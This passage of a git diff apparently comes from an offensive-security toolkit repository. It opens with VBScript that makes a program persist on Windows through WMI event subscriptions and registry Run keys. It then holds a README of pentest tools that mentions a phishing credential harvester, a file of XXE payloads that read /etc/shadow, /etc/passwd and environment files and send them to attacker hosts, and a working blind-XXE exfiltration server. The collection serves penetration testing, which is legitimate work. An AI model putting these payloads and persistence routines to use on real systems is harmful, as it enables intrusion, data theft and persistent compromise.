Set objInstances1 = objService1.Get("__EventFilter")
' The malware originally will kicks in after roughly 3 minutes since System gets up.
' One can modify this delay time by modifying the WHERE clausule of the below query.
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
& "AND TargetInstance.SystemUpTime >= 200 AND " _
& "TargetInstance.SystemUpTime < 320"
' New object of type __EventFilter
Set newObj1 = objInstances1.Spawninstance_
newObj1.Name = filterName
newObj1.eventNamespace = "root\cimv2"
newObj1.QueryLanguage = "WQL"
newObj1.Query = Query
newObj1.Put_
'
' Step 2: Set WMI instance of type: CommandLineEventConsumer
'
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
Set newObj2 = objInstances2.Spawninstance_
newObj2.Name = consumerName
newObj2.CommandLineTemplate = exePath
newObj2.Put_
'
' Step 3: Set WMI instance of type: Filter To Consumer Binding
'
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
Set newObj3 = objInstances3.Spawninstance_
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
newObj3.Put_
WMIPersistence = True
Exit Function
Failed:
WMIPersistence = False
End Function
Public Function RegistryPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
On Error GoTo Failed
Const HKEY_CURRENT_USER = &H80000001
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
strValueName = taskName
strValue = exePath
objReg.SetExpandedStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, strValue
RegistryPersistence = True
Exit Function
Failed:
RegistryPersistence = False
End Function
Public Function WindowsPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
If WMIPersistence(exePath, taskName) <> True Then
RegistryPersistence exePath, taskName
End If
End Function

Binary file not shown.

Binary file not shown.

139
web/README.md Normal file
View File

@ -0,0 +1,139 @@
## Web Applications penetration testing related scripts, tools and Cheatsheets
- **`xml-attacks.md`** - XML Vulnerabilities and Attacks cheatsheet. ([gist](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870))
- **`reencode.py`** - ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding. To be used for instance in fuzzing purposes. Requires: jwt (pip install pyjwt). ([gist](https://gist.github.com/mgeeky/1052681318a8164b112edfcdcb30798f))
Sample output could look like:
```
Usage: detect.py <text>
Using sample: "4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935"
[+] Detected encoding: HexEncoded
[+] Detected encoding: Base64
[+] Detected encoding: URLEncoder
[.] No more encodings.
[.] Input data encoded according to: ['HexEncoded', 'Base64', 'URLEncoder']
[>] Decoding HexEncoded: (4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935) => (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5)
[>] Decoding Base64: (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5) => (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29)
[>] Decoding URLEncoder: (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29) => (Hello world! :-))
(1) DECODED TEXT: "Hello world! :-)"
(2) TO BE ENCODED TEXT: "FOO Hello world! :-) BAR"
[>] Encoding URLEncoder: (FOO Hello world! :-) BAR) => (FOO%20Hello%20world%21%20%3A-%29%20BAR)
[>] Encoding Base64: (FOO%20Hello%20world%21%20%3A-%29%20BAR) => (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=)
[>] Encoding HexEncoded: (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=) => (526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d)
(3) ENCODED FORM: "526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d"
```
When `DEBUG` is turned on, the output may also look like:
```
$ ./reencode.py JTQxJTQxJTQxJTQx
[.] Trying: URLEncoder (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
[.] Trying: HexEncoded (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
[.] Trying: Base64 (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
[.] Unclear situation whether input (JTQxJTQxJTQxJTQx) is Base64 encoded. Branching.
[*] Generator returned: ("None", "JTQxJTQxJTQxJTQx", True)
[+] Detected encoder: Base64
[*] Generator returned: ("Base64", "%41%41%41%41", False)
[.] Trying: URLEncoder (peeled off: 1). Current form: "%41%41%41%41"
[+] Detected encoder: URLEncoder
[*] Generator returned: ("URLEncoder", "AAAA", False)
[.] Trying: URLEncoder (peeled off: 2). Current form: "AAAA"
[.] Trying: HexEncoded (peeled off: 2). Current form: "AAAA"
[.] Unclear situation whether input (AAAA) is Hex encoded. Branching.
[*] Generator returned: ("None", "AAAA", True)
[+] Detected encoder: HexEncoded
[*] Generator returned: ("HexEncoded", "<22><>", False)
[.] Trying: URLEncoder (peeled off: 3). Current form: "<22><>"
[.] Trying: HexEncoded (peeled off: 3). Current form: "<22><>"
[.] Trying: Base64 (peeled off: 3). Current form: "<22><>"
[.] Trying: Base64URLSafe (peeled off: 3). Current form: "<22><>"
[.] Trying: JWT (peeled off: 3). Current form: "<22><>"
[.] Trying: None (peeled off: 3). Current form: "<22><>"
None (JTQxJTQxJTQxJTQx)
├── None (JTQxJTQxJTQxJTQx)
└── Base64 (%41%41%41%41)
└── URLEncoder (AAAA)
├── None (AAAA)
└── HexEncoded ()
[.] Candidate for best decode using None: "AAAA"...
[.] Candidate for best decode using HexEncoded: "<22><>"...
[=] Evaluating candidate: None (data: AAAA)
Adding 10.0 points for printable characters.
Adding 0.0 points for high entropy.
Adding 4.0 points for length.
Scored in total: 14.0 points.
[=] Evaluating candidate: HexEncoded (data: <20><>)
Adding 0.0 points for printable characters.
Adding 0.0 points for high entropy.
Adding 2.0 points for length.
Scored in total: 2.0 points.
[?] Other equally good candidate paths:
(Node('/None/Base64/URLEncoder', decoded='AAAA'), Node('/None/Base64/URLEncoder/None', decoded='AAAA'))
[+] Winning decode path is:
Node('/None/Base64/URLEncoder', decoded='AAAA')
[+] Selected encodings: ['None', 'Base64', 'URLEncoder']
(1) DECODED TEXT: "AAAA"
(2) TO BE ENCODED TEXT: "FOO AAAA BAR"
(3) ENCODED FORM: "Rk9PJTIwQUFBQSUyMEJBUg=="
```
- **`oRTC-leak-internal-ip.js`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/03f0871fb88c64b3d6d3a725c3ba38bf))
- **`XXE Payloads`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d))
- **`blind-xxe-payload-1.txt`** - Simplest Blind XXE Payload to test within HTML request. ([gist](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882))
- **`burpCookieToUrl.py`** - Example BurpSuite extension copying specified Cookie's value (ticket) into URL parameters set under different name. ([gist](https://gist.github.com/mgeeky/61407112d6d09eaafd542e25590e1d35))
- **`post.php`** - (GIST discontinued, for recent version check: https://github.com/mgeeky/PhishingPost ) PHP Credentials Harversting script to be used during Social Engineering Phishing campaigns/projects. ([gist](https://gist.github.com/mgeeky/32375178621a5920e8c810d2d7e3b2e5))
- [**`PhishingPost`**](https://github.com/mgeeky/PhishingPost) - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML <form> action parameter.
- **`burp-curl-beautifier.py`** - Simple script for making "Copy as curl command" output in system's clipboard a little nicer, at least for me. ([gist](https://gist.github.com/mgeeky/3a5060e54004ca597241d6752b482675))
- **`padding-oracle-tests.py`** - Padding Oracle test-cases generator utility aiding process of manual inspection of cryptosystem's responses. ([gist](https://gist.github.com/mgeeky/5dfa475af2c970197a62ad070ba5deee))
```
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
#
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
# and then generates all the possible, reasonable cipher text transformations to be used while manually
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
# encoded values to be used in manual application testing approaches, like sending requests.
#
# One of possible scenarios and ways to use the below script could be the following:
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
# - launch pador.py which is an example of application vulnerable to Padding Oracle
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
# result would be considered padding-hit, therefore vulnerability proof.
#
# This script could be then launched to generate every possible test case of second to the last block
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
```
- **`create_mitm_certificate.sh`** - Simple SSL/TLS self-signed CA Certificate generator for MITM purposes. ([gist](https://gist.github.com/mgeeky/5e36d6482e73ab85c161c35bfd50c465))
- **`java-XMLDecoder-RCE.md`** - Java Beans XMLDecoder XML-deserialization Remote Code Execution payloads. ([gist](https://gist.github.com/mgeeky/5eb48b17c9d282ad3170ef91cfb6fe4c))
- **`struts-cheatsheet.md`** - Apache Struts devMode Remote Code Execution cheatsheet. ([gist](https://gist.github.com/mgeeky/5ba0170a5fd0171eb91bc1fd0f2618b7))
- **`pickle-payload.py`** - Python's Pickle Remote Code Execution payload template. ([gist](https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd))
- **`http-auth-timing.py`** - HTTP Auth Timing attack tool as presented at Ruxcon CTF 2012 simple web challange. The tools tries to use every letter for auth password and construct the entire password upon the longest took authentication request. ([gist](https://gist.github.com/mgeeky/57e866604942f1824da310982c46da84))
- **`blindxxe.py`** - Blind XXE (External XML Entity) attacker's server - to be used in blind XXE data exfiltration (like in Play Framework or Ruby on Rails). ([gist](https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573))
- **`ajax_crawl.js`** - AJAX Crawling bookmarklet - useful bookmarklet for fetching accessible, in-scope URLs from the webpage (and it's sitemap.xml) in order to let them be captured in local proxy like Burp. This in turn is useful for populating local proxy's history and it's website resources tree. Must-have during website pentesting. ([gist](https://gist.github.com/mgeeky/db809bec7460707693f2ed3548ea6a43))
- **`dummy-web-server.py`** - a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else. Forked from: [bradmontgomery/dummy-web-server.py](https://gist.github.com/bradmontgomery/2219997) ([gist](https://gist.github.com/mgeeky/c0675b2cf65bad6171edcb8f3bb2af6d))

144
web/XXE_payloads Normal file
View File

@ -0,0 +1,144 @@
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">
------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
-------------------------^ you might need to encode this % (depends on your target) as: &#x25;
--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

176
web/ajax_crawl.js Normal file
View File

@ -0,0 +1,176 @@
/* Copy the below line to your bookmarklet: */
javascript:(function(){MAX_URLS_TO_FETCH = 512; limit_reached = false; function decodeHtml(html) {txt = document.createElement('textarea'); txt.innerHTML = html; return txt.value; } String.prototype.endsWith = function(suffix) {return this.indexOf(suffix, this.length - suffix.length) !== -1; }; function normalizeUri(uri) {if (!uri || uri.length < 1) {return ''; } if(uri.toLowerCase().startsWith('javascript:') || uri.toLowerCase().startsWith('mailto:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('tel:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('#') ) {return ''; } orig = location.origin; if (uri.startsWith('http') && !uri.startsWith(orig)) {if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {return uri; } return ''; } if (uri.startsWith(orig)) {return uri; } if (uri.startsWith('//')) {return location.protocol + uri; } if (uri.startsWith('"') || uri.startsWith("'") ) {return ''; } if (!uri.startsWith('/')) {var h = location.href; return h.substr(0, h.lastIndexOf('/') + 1) + uri; } else {return orig + uri; } return ''; } function collectUrls(code) {if (!code || code.length < 64) {return new Array(); } origin = location.origin; arr = new Set(); excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif']; askedAlready = false; includeLogouts = false; logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i; rexes = [/(?:href|src|action)="([^"]+)"/gi, /(?:href|src|action)='([^']+)'/gi, /'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi, /"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi, /((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi ]; n = rexes.length; for (var i = 0; i < rexes.length; i++) {r = new RegExp(rexes[i]); match = r.exec(code); while (match != null) {uri2 = ''; if (typeof match[1] !== 'undefined') uri2 += match[1]; if (typeof match[2] !== 'undefined') uri2 += match[2]; if (typeof match[3] !== 'undefined') uri2 += match[3]; uri = decodeHtml(uri2) || uri2; uri = normalizeUri(uri); in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':'))); if(uri.startsWith(orig) != in_scope_wo_scheme) {uri = location.protocol + uri.substr(uri.indexOf(':')+1); } if (uri && uri.length > 0 && uri.startsWith(orig)) {good = true; excluded.forEach(function(ext) {if (uri.endsWith(ext)) {good = false; } else if (logoutRex.test(uri)) {if (!askedAlready) {askedAlready = true; if (confirm('Logout URL has been found, do you want to issue it as well?')) {includeLogouts = true; } } good = includeLogouts; } }); if(good) {arr.add(uri); if(arr.size > MAX_URLS_TO_FETCH) {if(!limit_reached) {alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...'); limit_reached = true; } return arr; } } } else if (uri.length > 0) {console.log('Skipping: ' + uri); } match = r.exec(code); } } return arr; } function fetchUrls(arr) {if(arr.size < 1) {return false; } var i = 0; arr.forEach(function(uri){i += 1; console.log('Requesting #' + i + ': "' + uri + '"'); xhr = new XMLHttpRequest(); xhr.open('get', uri, true); xhr.send(); }); return i; } html = document.documentElement.innerHTML; urls = collectUrls(html); len = fetchUrls(urls); alert('Asynchronously requested ' + len + ' URLs.'); xhr = new XMLHttpRequest(); xhr.onload = function() {if(xhr.readyState == xhr.DONE && xhr.status == 200) {console.log('Got sitemap.xml. Parsing...'); urls2 = collectUrls(this.responseText); len2 = fetchUrls(urls2); alert('Fetched ' + len2 + ' URLs from sitemap.xml'); } }; xhr.open('GET', location.origin + '/sitemap.xml', true); xhr.responseType = 'text'; xhr.send(); })()
/* Full code:
javascript:(function(){
MAX_URLS_TO_FETCH = 512;
limit_reached = false;
function decodeHtml(html) {
txt = document.createElement('textarea');
txt.innerHTML = html;
return txt.value;
}
String.prototype.endsWith = function(suffix) {
return this.indexOf(suffix, this.length - suffix.length) !== -1;
};
function normalizeUri(uri) {
if (!uri || uri.length < 1) {
return '';
}
if(uri.toLowerCase().startsWith('javascript:')
|| uri.toLowerCase().startsWith('mailto:')
|| uri.toLowerCase().startsWith('phone:')
|| uri.toLowerCase().startsWith('tel:')
|| uri.toLowerCase().startsWith('phone:')
|| uri.toLowerCase().startsWith('#')
) {
return '';
}
orig = location.origin;
if (uri.startsWith('http') && !uri.startsWith(orig)) {
if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {
return uri;
}
return '';
}
if (uri.startsWith(orig)) {
return uri;
}
if (uri.startsWith('//')) {
return location.protocol + uri;
}
if (uri.startsWith('"') || uri.startsWith("'") ) {
return '';
}
if (!uri.startsWith('/')) {
var h = location.href;
return h.substr(0, h.lastIndexOf('/') + 1) + uri;
}
else {
return orig + uri;
}
return '';
}
function collectUrls(code) {
if (!code || code.length < 64) {
return new Array();
}
origin = location.origin;
arr = new Set();
excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif'];
askedAlready = false;
includeLogouts = false;
logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i;
rexes = [
/(?:href|src|action)="([^"]+)"/gi,
/(?:href|src|action)='([^']+)'/gi,
/'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi,
/"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi,
/((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi
];
n = rexes.length;
for (var i = 0; i < rexes.length; i++) {
r = new RegExp(rexes[i]);
match = r.exec(code);
while (match != null) {
uri2 = '';
if (typeof match[1] !== 'undefined') uri2 += match[1];
if (typeof match[2] !== 'undefined') uri2 += match[2];
if (typeof match[3] !== 'undefined') uri2 += match[3];
uri = decodeHtml(uri2) || uri2;
uri = normalizeUri(uri);
in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')));
if(uri.startsWith(orig) != in_scope_wo_scheme) {
uri = location.protocol + uri.substr(uri.indexOf(':')+1);
}
if (uri && uri.length > 0 && uri.startsWith(orig)) {
good = true;
excluded.forEach(function(ext) {
if (uri.endsWith(ext)) {
good = false;
} else if (logoutRex.test(uri)) {
if (!askedAlready) {
askedAlready = true;
if (confirm('Logout URL has been found, do you want to issue it as well?')) {
includeLogouts = true;
}
}
good = includeLogouts;
}
});
if(good) {
arr.add(uri);
if(arr.size > MAX_URLS_TO_FETCH) {
if(!limit_reached) {
alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...');
limit_reached = true;
}
return arr;
}
}
}
else if (uri.length > 0) {
console.log('Skipping: ' + uri);
}
match = r.exec(code);
}
}
return arr;
}
function fetchUrls(arr) {
if(arr.size < 1) {
return false;
}
var i = 0;
arr.forEach(function(uri){
i += 1;
console.log('Requesting #' + i + ': "' + uri + '"');
xhr = new XMLHttpRequest();
xhr.open('get', uri, true);
xhr.send();
});
return i;
}
html = document.documentElement.innerHTML;
urls = collectUrls(html);
len = fetchUrls(urls);
alert('Asynchronously requested ' + len + ' URLs.');
xhr = new XMLHttpRequest();
xhr.onload = function() {
if(xhr.readyState == xhr.DONE && xhr.status == 200) {
console.log('Got sitemap.xml. Parsing...');
urls2 = collectUrls(this.responseText);
len2 = fetchUrls(urls2);
alert('Fetched ' + len2 + ' URLs from sitemap.xml');
}
};
xhr.open('GET', location.origin + '/sitemap.xml', true);
xhr.responseType = 'text';
xhr.send();
})()
*/

View File

@ -0,0 +1,3 @@
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxetestd [<!ENTITY xxetest SYSTEM "http://attacker/test.dtd">]><foo>&xxetest;</foo>

120
web/blindxxe.py Normal file
View File

@ -0,0 +1,120 @@
#!/usr/bin/python
#
# Simple Blind XXE server intended to handle incoming requests for
# malicious DTD file, that will subsequently ask for locally stored file,
# like file:///etc/passwd.
#
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
# to be run as follows:
#
# 0. Configure global variables: SERVER_SOCKET and RHOST
#
# 1. Run the below script, using:
# $ python blindxxe.py <filepath>
#
# where <filepath> can be for instance: "file:///etc/passwd"
#
# 2. Then, while server is running - invoke XXE by requesting e.g.
# $ curl -X POST http://vulnerable/app --data-binary \
# $'<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker/test.dtd"><foo>&exfil;</foo>'
#
# The expected result will be like the following:
#
# $ python blindxxe.py
# Exfiltrated file:///etc/passwd:
# ------------------------------
# root:x:0:0:root:/root:/bin/sh
# nobody:x:65534:65534:nobody:/nonexistent:/bin/false
# user:x:1000:50:Linux User,,,:/home/user:/bin/sh
# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false
# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
#
#
# Mariusz B., 2016
#
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket
#
# CONFIGURE THE BELOW VARIABLES
#
SERVER_SOCKET = ('0.0.0.0', 8000)
EXFIL_FILE = 'file:///etc/passwd'
# The host on which you will run this server
RHOST = '192.168.56.1:' + str(SERVER_SOCKET[1])
EXFILTRATED_EVENT = threading.Event()
class BlindXXEServer(BaseHTTPRequestHandler):
def response(self, **data):
code = data.get('code', 200)
content_type = data.get('content_type', 'text/plain')
body = data.get('body', '')
self.send_response(code)
self.send_header('Content-Type', content_type)
self.end_headers()
self.wfile.write(body.encode('utf-8'))
self.wfile.close()
def do_GET(self):
self.request_handler(self)
def do_POST(self):
self.request_handler(self)
def log_message(self, format, *args):
return
def request_handler(self, request):
global EXFILTRATED_EVENT
path = urllib.unquote(request.path).decode('utf8')
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
if m and request.command.lower() == 'get':
data = path[len('/?exfil='):]
print 'Exfiltrated %s:' % EXFIL_FILE
print '-' * 30
print urllib.unquote(data).decode('utf8')
print '-' * 30 + '\n'
self.response(body='true')
EXFILTRATED_EVENT.set()
elif request.path.endswith('.dtd'):
#print '[DEBUG] Sending malicious DTD file.'
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}
self.response(content_type='text/xml', body=dtd)
else:
#print '[INFO] %s %s' % (request.command, request.path)
self.response(body='false')
def main():
server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
while not EXFILTRATED_EVENT.is_set():
pass
if __name__ == '__main__':
if len(sys.argv) > 1:
EXFIL_FILE = sys.argv[1]
main()

View File

@ -0,0 +1,44 @@
#!/usr/bin/python
#
# Simple script for making "Copy as curl command" output in system's clipboard a little nicer\
# To use it:
# - firstly right click on request in BurpSuite
# - select "Copy as curl command"
# - then launch this script.
# As a result, you'll have a bit nicer curl command in your clipboard.
#
try:
import xerox
except ImportError:
raise ImportError, "`xerox` library not found. Install it using: `pip install xerox`"
import re
data = xerox.paste()
data = re.sub(r"\s+\\\n\s+", ' ', data, re.M)
data = re.sub('curl -i -s -k\s+-X', 'curl -iskX', data)
if "-iskX 'GET'" in data:
data = data.replace("-iskX 'GET'", '')
else:
data = re.sub(r"-iskX '([^']+)' ", r"-iskX \1 ", data)
superfluous_headers = {
'Upgrade-Insecure-Requests':'',
'DNT':'',
'User-Agent':'',
'Content-Type':"application/x-www-form-urlencoded",
'Referer':'',
}
for k, v in superfluous_headers.items():
val = v
if not val:
val = "[^']+"
rex = r" -H '" + k + ": " + val + "' "
m = re.search(rex, data)
if m:
data = re.sub(rex, ' ', data)
data = re.sub(r"'(http[^']+)'$", r'"\1"', data)
xerox.copy(data)

91
web/burpCookieToUrl.py Normal file
View File

@ -0,0 +1,91 @@
#!/usr/bin/python
from burp import IBurpExtender
from burp import IParameter
from burp import IHttpListener
from burp import IExtensionStateListener
# Can be used with:
# https://github.com/securityMB/burp-exceptions
# from exceptions_fix import FixBurpExceptions
import sys
import re
import urlparse
from urllib import urlencode
HOST_SCOPE = 'www.example.com'
TRIGGER_PATTERN = '/some/path/'
COOKIE_NAME = 'cookieTicket'
PARAMETER_NAME = 'ticket'
class BurpExtender(IBurpExtender, IHttpListener, IExtensionStateListener):
ticket = ''
def registerExtenderCallbacks(self, callbacks):
# sys.stdout = callbacks.getStdout()
print '[+] Ticket appender is loading...'
self._callbacks = callbacks
# helpers object for analyzing HTTP request
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Copy Specific Cookie into URL parameter")
callbacks.registerHttpListener(self)
callbacks.registerExtensionStateListener(self)
return
def addUrlParam(self, _url, name, value):
pos1 = _url.find(' ') + 1
pos2 = _url.rfind(' ')
url = _url[pos1:pos2]
url_parts = list(urlparse.urlparse(url))
query = dict(urlparse.parse_qsl(url_parts[4]))
query.update({name : value})
url_parts[4] = urlencode(query)
new_url = str(urlparse.urlunparse(url_parts))
return _url[:pos1] + new_url + _url[pos2:]
def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
if messageIsRequest:
requestInfo = self._helpers.analyzeRequest(currentRequest)
headers = requestInfo.getHeaders()
if re.match('Host: ' + HOST_SCOPE, headers[1], re.I):
for h in headers:
if 'Cookie' in h and COOKIE_NAME in h:
pos0 = h.find(COOKIE_NAME)
pos1 = h.find('=', pos0)
pos2 = h.find(';', pos1)
ticket = h[pos1+1:pos2]
if ticket != self.ticket:
print "[?] Cookie's value changed: '%s' => '%s'" % (ticket, self.ticket)
self.ticket = ticket
url = headers[0]
print '[*] Working url: "%s"' % url
print '[*] Self.ticket = "%s"' % self.ticket
if TRIGGER_PATTERN in url and self.ticket != '' and PARAMETER_NAME + '=' not in url:
print '[?] No Ticket parameter in URL. Adding it...'
newHeaders = list(headers)
newHeaders[0] = self.addUrlParam(url, PARAMETER_NAME, ' ' + self.ticket)
print '[?] Updating URL from: "%s" => "%s"' % (headers[0], newHeaders[0])
